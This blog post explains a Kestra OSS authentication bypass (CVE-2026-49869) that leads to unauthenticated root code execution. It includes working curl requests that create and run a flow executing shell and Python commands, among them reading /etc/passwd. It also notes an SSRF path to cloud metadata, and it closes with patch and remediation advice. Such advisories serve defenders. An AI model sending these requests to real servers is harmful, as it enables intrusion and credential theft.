DEV Community

GUIDANCE WHITE
GUIDANCE WHITE

Posted on

CVE-2026-49869 Explained: How One String Comparison Hands Root to an Unauthenticated Attacker

Overview

Item Detail
CVE ID CVE-2026-49869
Affected product Kestra OSS (open-source workflow orchestration platform)
Affected versions Below 1.0.45, and 1.1.0 up to (not including) 1.3.21
Fixed in 1.0.45, 1.3.21
CVSS 3.1 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Type CWE-287 (Improper Authentication), CWE-184 (Incomplete List of Disallowed Inputs), CWE-78 (OS Command Injection), CWE-918 (SSRF)
Authentication required None
Reported by Vasco0x4, via Kestra's GitHub bug bounty
Note Added to the CISA KEV catalog (Sep 2, 2026); exploited in the wild, including cryptominer deployments

Kestra is an open-source platform for defining, scheduling, and running workflows. It needs exactly one endpoint reachable before login exists: a public configuration endpoint that the setup screen reads to know how login and feature flags are configured. The single conditional written to carve out that one exception turned into a hole that disabled authentication across the entire platform.

The cause is simple. Where the code needed to ask "is this the config endpoint?", it instead asked "does this path end in the string configs?" Those two questions happen to agree on the one path they were meant to cover — and disagree on every other path that shares the same ending. Because Kestra's REST API embeds attacker-controlled values, like a flow's name, directly into the path, that gap was trivial to walk through.

The practical result: name any flow configs, and every API that creates, runs, or deletes that flow skips authentication entirely. Kestra also ships with shell, Python, and Node script-execution plugins enabled by default, and those scripts run inside the worker container as root. One broken authentication check becomes unauthenticated remote code execution (RCE).


Where the flaw lives — AuthenticationFilter

Kestra OSS defaults to Basic Auth, and every API request passes through a single filter, AuthenticationFilter. For each incoming request, it first decides whether that path is allowed through without authentication. Since the setup screen needs to read the server's base configuration (auth mode, feature flags) before any login has happened, the configuration-read endpoints (GET /api/v1/configs, GET /api/v1/{tenant}/configs) had to be the one exception.

The line that broke it:

// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
    || ...;

if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
    return chain.proceed(request); // auth skipped entirely
}
Enter fullscreen mode Exit fullscreen mode

Step-by-step source analysis

Step 1 — "does it end in this string?" instead of "is this the exact path?"

endsWith("/configs") answers "does the tail of this request path match the string /configs?" What the code actually needed to answer was "is this request the public config endpoint?" Those are different questions.

"/api/v1/main/configs".endsWith("/configs")
// → true : the intended path. No problem here.

"/api/v1/main/flows/tutorial/configs".endsWith("/configs")
// → true : a flow simply named "configs" passes the exact same check.
Enter fullscreen mode Exit fullscreen mode

Kestra's REST API identifies resources by a caller-supplied name — /flows/{namespace}/{flowId}, for instance. Set flowId to configs, and nearly every path related to that flow now ends in /configs. endsWith() has no way to tell a config-read request apart from a flow-management request; it waves both through identically.

The list of routes this flaw could bypass turned out to be long:

Controller Bypassed pattern Impact
FlowController PUT /api/v1/{tenant}/flows/{namespace}/configs Create/overwrite a flow
ExecutionController POST /api/v1/{tenant}/executions/{namespace}/configs Run a flow
KVController PUT /api/v1/{tenant}/namespaces/{namespace}/kv/configs Write to the key-value store
FlowController DELETE /api/v1/{tenant}/flows/{namespace}/configs Delete flows
DashboardController DELETE /api/v1/{tenant}/dashboards/configs Delete dashboards
LogController DELETE /api/v1/{tenant}/logs/{namespace}/configs Destroy audit logs

The combination of FlowController and ExecutionController is what drives the chain all the way to RCE.

Step 2 — create a flow carrying a shell command, unauthenticated

A single PUT request, with no credentials attached, creates a flow named configs. Set its task type to io.kestra.plugin.scripts.shell.Commands, and it runs a list of shell commands whenever it executes.

curl -X PUT \
  -H "Content-Type: application/x-yaml" \
  "http://<target>/api/v1/main/flows/tutorial/configs" \
  --data-binary '
id: configs
namespace: tutorial
tasks:
  - id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    commands:
      - id
      - hostname
      - cat /etc/passwd'

# → HTTP 200 OK (created with no credentials at all)
Enter fullscreen mode Exit fullscreen mode

Because the request path /api/v1/main/flows/tutorial/configs ends in /configs, AuthenticationFilter treats it exactly like the config-read endpoint and lets it straight through.

Step 3 — run that flow, unauthenticated

Creating the flow alone doesn't execute anything yet. The second request, which triggers execution, hits a path with the same ending, so it bypasses auth the same way.

curl -X POST "http://<target>/api/v1/main/executions/tutorial/configs"

# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}
Enter fullscreen mode Exit fullscreen mode

Step 4 — the worker executes the plugin as root, completing the RCE

At this point, a Kestra worker picks up the execution and runs the shell.Commands task for real. Kestra installs over 80 script-execution plugins by default — shell, Python, Node, PowerShell, Go, and more — and the worker process runs inside its container as uid=0(root) out of the box. A flow created through the auth bypass needs only one task — "run this shell command" — and that command executes with root privileges.

[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[INFO] daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[DEBUG] Command succeed with exit code 0
Enter fullscreen mode Exit fullscreen mode

The same works with the Python plugin:

curl -X PUT \
  -H "Content-Type: application/x-yaml" \
  "http://<target>/api/v1/main/flows/tutorial/configs" \
  --data-binary '
id: configs
namespace: tutorial
tasks:
  - id: rce_python
    type: io.kestra.plugin.scripts.python.Script
    script: |
      import os
      print(os.popen("id && hostname").read())'
Enter fullscreen mode Exit fullscreen mode

Step 5 — retrieve the output from the logs, unauthenticated

Finally, the execution's output (the command's stdout) is readable through the log search API — and that path also ends in a pattern matching /configs, so it's viewable with no credentials either.

curl "http://<target>/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"
Enter fullscreen mode Exit fullscreen mode

Create, execute, retrieve — three HTTP requests, none of them carrying an auth token or session cookie. An attacker never touches a login screen, yet runs arbitrary commands on the server and reads the output back directly.


A secondary surface — SSRF via the Pebble template engine

This auth bypass also combines with a second flaw. Kestra's workflow template engine (Pebble) exposes an http() function that performs no validation on the URI it's given.

// core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java
// no allowlist, no private-IP filtering
URI uri = URI.create(args.get("uri").toString());
Enter fullscreen mode Exit fullscreen mode

The researcher confirmed this lets a worker container reach a cloud metadata endpoint (http://169.254.169.254/). On AWS, GCP, or Azure, that endpoint can leak the IAM credentials attached to the instance. The RCE alone is already severe, but this SSRF path is worth checking separately during incident response — it's the kind of exposure that a command-execution-only investigation can miss.


The patch — exact path matching instead of a suffix check

Kestra 1.0.45 and 1.3.21 replaced the endsWith()-based comparison with an exact path match. Authentication is now skipped only when the request path is precisely the real config-read path (/api/v1/configs, /api/v1/{tenant}/configs), so naming a flow configs no longer exempts any path from authentication.

The lesson here is a simple one. Any whitelist of auth-exempt paths needs an exact path match, not a suffix or substring check — and that's especially true in a REST API where caller-supplied values become part of the path itself. It's worth auditing authentication logic anywhere for an endsWith() or contains() call that was meant to recognize one specific route.


Remediation

  • Update immediately: 1.0.45 for the 1.0.x branch, 1.3.21 for 1.1.x through 1.3.x.
  • Restart the worker containers, not just the webserver process. Privileged command execution happens in the worker, so an updated image with an old worker process still running continues to serve the vulnerable code path.
  • A reverse proxy in front of Kestra doesn't mitigate this — the broken comparison runs inside Kestra's own filter chain, after the proxy has already forwarded the request. If patching isn't immediately possible, a proxy rule that allows only the exact /api/v1/configs path can serve as a narrow stopgap, but it's not a substitute for the real fix.
  • Treat the exposure window as a possible incident, not a closed ticket. Rotate any secrets, service credentials, and cloud IAM roles the worker could reach, and check flow and execution history for an unrecognized flow or execution named configs.

Top comments (0)